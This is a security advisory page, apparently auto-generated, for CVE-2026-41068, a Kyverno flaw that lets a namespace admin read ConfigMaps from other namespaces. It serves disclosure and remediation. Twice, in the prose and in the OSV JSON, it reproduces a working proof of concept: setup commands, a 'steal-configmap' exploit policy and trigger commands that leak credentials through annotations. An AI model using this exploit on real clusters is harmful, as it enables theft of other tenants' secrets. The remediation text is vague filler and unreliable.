CVE-2026-41068: Kyverno Cross-Namespace Read Bypasses RBAC Isolation Vulnerability

HIGH
Advisory Identifier: GHSA-cvq5-hhx3-f99p
CVSS 7.7
CWE-863
Published
Advisory Summary

CVE-2026-41068 is a HIGH (CVSS 7.7) cross-namespace read bypasses rbac isolation vulnerability (CWE-863: Incorrect Authorization) affecting Kyverno libraries in the Go ecosystem. The issue involves cross-namespace read bypasses rbac isolation (cve-2026-22039 incomplete fix). Remediation is available in the latest vendor maintenance releases.

CVE-2026-41068 at a Glance

CVE Identifier CVE-2026-41068
GHSA Identifier GHSA-cvq5-hhx3-f99p
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-863: Incorrect Authorization
Affected Product Kyverno
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-41068

To remediate this vulnerability, upgrade all affected Kyverno dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/kyverno/kyverno fixed: Latest secure release
Upgrade github.com/kyverno/kyverno to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/kyverno/kyverno

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-41068, inspect your project dependencies for Kyverno:

inspect dependencies for github.com/kyverno/kyverno

Analyze the terminal output to locate any version of Kyverno in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Kyverno, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's `apiCall` context by validating the `URLPath` field. However, the **ConfigMap context loader has the identical vulnerability** — the `configMap.namespace` field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters. ### Details **Root cause:** The CVE-2026-22039 fix in `pkg/engine/apicall/apiCall.go` (lines 73-83) validates that `URLPath` references only the policy's own namespace using regex. However, the ConfigMap context loader at `pkg/engine/context/loaders/configmap.go` performs **no namespace validation** on the `namespace` field. **Code path comparison:** | | CVE-2026-22039 (fixed) | This vulnerability (unfixed) | |--|---|---| | **Location** | `apiCall.URLPath` field | `configMap.namespace` field | | **Code path** | `apicall.Fetch()` → namespace regex validation | `configmap.NewConfigMapLoader()` → no validation | | **Root cause** | Variable substitution + missing validation | Same pattern, still unpatched | **Exploit mechanism:** 1. Namespace admin creates a Kyverno Policy in their namespace (standard RBAC) 2. Policy uses `context.configMap.namespace: "victim-ns"` to reference another namespace 3. Kyverno's admission controller service account (has cluster-wide `view` role) fetches the ConfigMap 4. Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations **Affected code:** `pkg/engine/context/loaders/configmap.go` - `NewConfigMapLoader()` does not validate resolved namespace against policy namespace. ### PoC Full reproduction (5 minutes on `kind`): ```bash #!/bin/bash # Setup: kind cluster + Kyverno v1.17.0 kind create cluster --name kyverno-poc --wait 60s helm repo add kyverno https://kyverno.github.io/kyverno/ helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait # Create attacker and victim namespaces kubectl create namespace attacker-ns kubectl create namespace victim-ns # Plant sensitive data in victim namespace kubectl create configmap sensitive-config -n victim-ns \ --from-literal=db-password="s3cr3t-p4ssw0rd" \ --from-literal=api-key="AKIAIOSFODNN7EXAMPLE" # Create namespace admin RBAC (standard multi-tenant setup) kubectl create serviceaccount ns-admin -n attacker-ns kubectl create rolebinding ns-admin-binding --clusterrole=admin \ --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns kubectl create role kyverno-policy-creator --verb=create,get,list \ --resource=policies.kyverno.io --namespace=attacker-ns kubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \ --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns # Verify namespace admin CANNOT directly access victim-ns kubectl get configmap sensitive-config -n victim-ns \ --as=system:serviceaccount:attacker-ns:ns-admin # Error: Forbidden (expected) ``` **Exploit policy:** ```yaml # Apply as namespace admin apiVersion: kyverno.io/v1 kind: Policy metadata: name: configmap-crossns-read namespace: attacker-ns spec: rules: - name: steal-configmap match: any: - resources: kinds: [ConfigMap] names: ["trigger-cm"] context: - name: stolendata configMap: name: "sensitive-config" namespace: "victim-ns" # <-- NO VALIDATION mutate: patchStrategicMerge: metadata: annotations: exfil-db-password: "{{ stolendata.data.\"db-password\" }}" exfil-api-key: "{{ stolendata.data.\"api-key\" }}" ``` **Trigger and exfiltrate:** ```bash # Trigger policy (as namespace admin) kubectl apply -f - <<EOF apiVersion: v1 kind: ConfigMap metadata: name: trigger-cm namespace: attacker-ns data: innocent: "data" EOF # Read exfiltrated secrets kubectl get configmap trigger-cm -n attacker-ns -o jsonpath='{.metadata.annotations}' \ --as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool # Output: # { # "exfil-api-key": "AKIAIOSFODNN7EXAMPLE", # "exfil-db-password": "s3cr3t-p4ssw0rd" # } ``` **Result:** Namespace admin successfully read secrets from `victim-ns` despite having NO RBAC access. ### Impact **Severity: HIGH (CVSS 7.7)** **Who is affected:** - Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default) - Multi-tenant clusters where ConfigMaps contain sensitive data - Azure Kubernetes Service (AKS) and other managed K8s using Kyverno **Attack prerequisites:** - Namespace admin privileges (standard RBAC in multi-tenant clusters) - Ability to create Kyverno Policy resources (default for namespace admins) - No cluster-admin required **What can be exfiltrated:** - Any ConfigMap from any namespace - Common targets: database credentials, API keys, service configurations, application secrets stored in ConfigMaps **Why this matters:** - Namespace isolation is a fundamental Kubernetes security boundary - Namespace admin is an expected, common RBAC level in production multi-tenant clusters - Violates the principle of least privilege and breaks multi-tenancy guarantees **Suggested fix:** Apply the same namespace validation from `apicall.Fetch()` to `configmap.NewConfigMapLoader()`: 1. Pass `policyNamespace` to `NewConfigMapLoader()` 2. After variable substitution on `namespace`, validate resolved namespace == `policyNamespace` 3. Return error if validation fails Also audit other context loaders (`globalReference`, `imageRegistry`, `variable`) for the same pattern. **Tested versions:** - Kyverno: v1.17.0 (latest, includes CVE-2026-22039 fix) - Helm chart: 3.7.0 - Kubernetes: v1.35.0 (kind)

CVE-2026-41068 Affected Kyverno Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/kyverno/kyverno
Go
≤ 1.17.1

References

Frequently Asked Questions

What is CVE-2026-41068?
CVE-2026-41068 is a security vulnerability in Kyverno involving Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix) under CWE-863: Incorrect Authorization.
Which Kyverno versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/kyverno/kyverno.
What version fixes CVE-2026-41068?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/kyverno/kyverno affected?
Yes, github.com/kyverno/kyverno is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-41068?
CVE-2026-41068 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-41068?
CVE-2026-41068 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Go dependencies for CVE-2026-41068?
Run the dependency tree command: 'inspect dependencies for github.com/kyverno/kyverno'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cvq5-hhx3-f99p",
  "modified" : "2026-07-21T14:03:44Z",
  "published" : "2026-04-16T21:35:04Z",
  "aliases" : [ "CVE-2026-41068" ],
  "summary" : "Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)",
  "details" : "### Summary\n\nCVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's `apiCall` context by validating the `URLPath` field. However, the **ConfigMap context loader has the identical vulnerability** — the `configMap.namespace` field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters.\n\n### Details\n\n**Root cause:** The CVE-2026-22039 fix in `pkg/engine/apicall/apiCall.go` (lines 73-83) validates that `URLPath` references only the policy's own namespace using regex. However, the ConfigMap context loader at `pkg/engine/context/loaders/configmap.go` performs **no namespace validation** on the `namespace` field.\n\n**Code path comparison:**\n\n| | CVE-2026-22039 (fixed) | This vulnerability (unfixed) |\n|--|---|---|\n| **Location** | `apiCall.URLPath` field | `configMap.namespace` field |\n| **Code path** | `apicall.Fetch()` → namespace regex validation | `configmap.NewConfigMapLoader()` → no validation |\n| **Root cause** | Variable substitution + missing validation | Same pattern, still unpatched |\n\n**Exploit mechanism:**\n1. Namespace admin creates a Kyverno Policy in their namespace (standard RBAC)\n2. Policy uses `context.configMap.namespace: \"victim-ns\"` to reference another namespace\n3. Kyverno's admission controller service account (has cluster-wide `view` role) fetches the ConfigMap\n4. Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations\n\n**Affected code:** `pkg/engine/context/loaders/configmap.go` - `NewConfigMapLoader()` does not validate resolved namespace against policy namespace.\n\n### PoC\n\nFull reproduction (5 minutes on `kind`):\n\n```bash\n#!/bin/bash\n# Setup: kind cluster + Kyverno v1.17.0\nkind create cluster --name kyverno-poc --wait 60s\nhelm repo add kyverno https://kyverno.github.io/kyverno/\nhelm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait\n\n# Create attacker and victim namespaces\nkubectl create namespace attacker-ns\nkubectl create namespace victim-ns\n\n# Plant sensitive data in victim namespace\nkubectl create configmap sensitive-config -n victim-ns \\\n    --from-literal=db-password=\"s3cr3t-p4ssw0rd\" \\\n    --from-literal=api-key=\"AKIAIOSFODNN7EXAMPLE\"\n\n# Create namespace admin RBAC (standard multi-tenant setup)\nkubectl create serviceaccount ns-admin -n attacker-ns\nkubectl create rolebinding ns-admin-binding --clusterrole=admin \\\n    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns\nkubectl create role kyverno-policy-creator --verb=create,get,list \\\n    --resource=policies.kyverno.io --namespace=attacker-ns\nkubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \\\n    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns\n\n# Verify namespace admin CANNOT directly access victim-ns\nkubectl get configmap sensitive-config -n victim-ns \\\n    --as=system:serviceaccount:attacker-ns:ns-admin\n# Error: Forbidden (expected)\n```\n\n**Exploit policy:**\n```yaml\n# Apply as namespace admin\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n  name: configmap-crossns-read\n  namespace: attacker-ns\nspec:\n  rules:\n  - name: steal-configmap\n    match:\n      any:\n      - resources:\n          kinds: [ConfigMap]\n          names: [\"trigger-cm\"]\n    context:\n    - name: stolendata\n      configMap:\n        name: \"sensitive-config\"\n        namespace: \"victim-ns\"    # <-- NO VALIDATION\n    mutate:\n      patchStrategicMerge:\n        metadata:\n          annotations:\n            exfil-db-password: \"{{ stolendata.data.\\\"db-password\\\" }}\"\n            exfil-api-key: \"{{ stolendata.data.\\\"api-key\\\" }}\"\n```\n\n**Trigger and exfiltrate:**\n```bash\n# Trigger policy (as namespace admin)\nkubectl apply -f - <<EOF\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: trigger-cm\n  namespace: attacker-ns\ndata:\n  innocent: \"data\"\nEOF\n\n# Read exfiltrated secrets\nkubectl get configmap trigger-cm -n attacker-ns -o jsonpath='{.metadata.annotations}' \\\n    --as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool\n# Output:\n# {\n#     \"exfil-api-key\": \"AKIAIOSFODNN7EXAMPLE\",\n#     \"exfil-db-password\": \"s3cr3t-p4ssw0rd\"\n# }\n```\n\n**Result:** Namespace admin successfully read secrets from `victim-ns` despite having NO RBAC access.\n\n### Impact\n\n**Severity: HIGH (CVSS 7.7)**\n\n**Who is affected:**\n- Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default)\n- Multi-tenant clusters where ConfigMaps contain sensitive data\n- Azure Kubernetes Service (AKS) and other managed K8s using Kyverno\n\n**Attack prerequisites:**\n- Namespace admin privileges (standard RBAC in multi-tenant clusters)\n- Ability to create Kyverno Policy resources (default for namespace admins)\n- No cluster-admin required\n\n**What can be exfiltrated:**\n- Any ConfigMap from any namespace\n- Common targets: database credentials, API keys, service configurations, application secrets stored in ConfigMaps\n\n**Why this matters:**\n- Namespace isolation is a fundamental Kubernetes security boundary\n- Namespace admin is an expected, common RBAC level in production multi-tenant clusters\n- Violates the principle of least privilege and breaks multi-tenancy guarantees\n\n**Suggested fix:**\nApply the same namespace validation from `apicall.Fetch()` to `configmap.NewConfigMapLoader()`:\n1. Pass `policyNamespace` to `NewConfigMapLoader()`\n2. After variable substitution on `namespace`, validate resolved namespace == `policyNamespace`\n3. Return error if validation fails\n\nAlso audit other context loaders (`globalReference`, `imageRegistry`, `variable`) for the same pattern.\n\n**Tested versions:**\n- Kyverno: v1.17.0 (latest, includes CVE-2026-22039 fix)\n- Helm chart: 3.7.0\n- Kubernetes: v1.35.0 (kind)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kyverno/kyverno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.17.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/security/advisories/GHSA-cvq5-hhx3-f99p"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41068"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/commit/bbf3e5c01391d612968440659028ae98e565a777"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kyverno/kyverno"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-16T21:35:04Z",
    "nvd_published_at" : "2026-04-24T04:16:19Z"
  }
}